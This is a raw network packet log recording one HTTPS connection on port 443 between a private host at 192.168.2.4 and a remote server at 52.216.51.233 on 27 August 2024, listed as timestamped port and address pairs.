Aug 27, 2024 13:05:50.032421112 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.032427073 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.032464027 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.032563925 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.032578945 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.032625914 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.032633066 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.032671928 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.087943077 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.087966919 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.088027000 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.088032961 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.088066101 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.088083982 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.118577957 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.118592024 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.118669987 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.118675947 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.118716955 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.118885040 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.118921041 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.118961096 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.118966103 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.118995905 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.119009972 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.120865107 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.120878935 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.120956898 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.120961905 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.121007919 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.121918917 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.121932030 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.121989965 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.121994972 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.122034073 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.122268915 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.122282028 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.122319937 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.122324944 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.122350931 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.122368097 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.124378920 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.124392986 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.124440908 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.124444962 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.124470949 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.124490976 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.124758005 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.124773026 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.124814034 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.124818087 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.124845028 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.124851942 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.178890944 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.178905010 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.178956985 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.178962946 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.178998947 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.210057020 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.210089922 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.210114002 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.210119009 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.210139036 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.210146904 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.210244894 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.210266113 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.210306883 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.210314035 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.210336924 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.210356951 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.211577892 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.211592913 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.211642981 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.211647034 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.211683989 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.212691069 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.212704897 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.212738991 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.212743044 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.212764978 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.212783098 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.212898016 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.212913036 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.212949991 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.212954998 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.212979078 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.212986946 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.214929104 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.214950085 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.214981079 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.214983940 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.215008020 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.215023041 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.215233088 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.215246916 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.215296030 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.215301037 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.215341091 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.269627094 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.269642115 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.269705057 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.269711971 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.269747972 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.300312042 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.300328970 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.300374031 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.300403118 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.300410032 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.300445080 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.300474882 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.302891970 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.302906036 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.302958965 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.302964926 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.303792000 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.303819895 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.303848982 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.303853035 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.303869009 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.304132938 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.304145098 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.304193974 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.304199934 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.305582047 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.305598021 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.305641890 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.305648088 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.305658102 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.305809021 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.305828094 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.305869102 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.305875063 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.353341103 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.360218048 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.360234022 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.360317945 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.360322952 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.360352993 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.392539024 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.392555952 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.392620087 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.392626047 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.392669916 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.393965960 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.393979073 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.394040108 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.394045115 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.394078016 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.394248009 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.394260883 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.394303083 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.394309044 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.394345045 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.394746065 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.394759893 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.394805908 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.394809961 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.394848108 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.395622015 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.395637035 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.395684958 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.395689011 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.395724058 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.396581888 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.396600008 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.396644115 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.396650076 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.396687984 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.397823095 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.397835970 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.397888899 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.397892952 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.397929907 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.482865095 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.482882023 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.482933998 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.482939959 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.482995987 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.483169079 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.483182907 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.483218908 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.483222008 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.483248949 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.483264923 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.484730005 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.484745026 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.484802008 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.484806061 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.484833002 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.484848022 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.485095978 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.485110998 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.485138893 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.485142946 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.485165119 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.485184908 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.485438108 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.485452890 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.485486984 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.485491991 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.485516071 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.485527992 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.486381054 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.486408949 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.486438036 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.486442089 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.486469984 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.486481905 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.487297058 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.487317085 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.487354040 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.487359047 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.487381935 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.487400055 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.488267899 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.488281965 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.488322973 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.488327026 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.488348961 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.488363028 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.573616028 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.573636055 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.573678970 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.573687077 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.573725939 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.574043036 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.574055910 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.574093103 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.574098110 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.574109077 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.574130058 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.575299025 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.575314045 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.575366020 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.575370073 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.575395107 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.575417042 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.575697899 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.575720072 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.575753927 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.575757980 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.575788021 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.575802088 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.575965881 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.575978994 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.576026917 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.576031923 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.576059103 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.576071978 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.577025890 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.577039003 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.577078104 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.577080965 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.577107906 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.577126980 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.580096960 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.580121994 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.580182076 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.580185890 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.580205917 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.580229044 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.580378056 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.580393076 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.580440044 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.580445051 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.580487013 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.664222956 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.664237976 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.664282084 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.664287090 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.664321899 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.664638996 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.664653063 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.664702892 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.664709091 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.664752960 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.665975094 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.665993929 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.666026115 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.666029930 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.666060925 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.666084051 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.666845083 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.666858912 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.666893959 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.666899920 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.666924953 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.667004108 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.667140961 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.667154074 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.667192936 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.667198896 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.667221069 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.667231083 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.667687893 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.667701960 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.667742014 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.667747021 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.667776108 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.667793989 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.670756102 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.670770884 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.670810938 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.670814991 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.670842886 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.670855999 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.670977116 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.671004057 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.671030045 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.671035051 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.671060085 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.671073914 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.755033016 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.755048990 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.755105972 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.755111933 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.755151033 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.755280972 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.755295992 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.755326033 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.755414009 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.755418062 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.755510092 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.756722927 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.756738901 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.756783009 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.756787062 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.756818056 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.756828070 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.757033110 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.757045984 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.757081032 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.757086039 CEST	443	49733	52.216.51.233	192.168.2.4
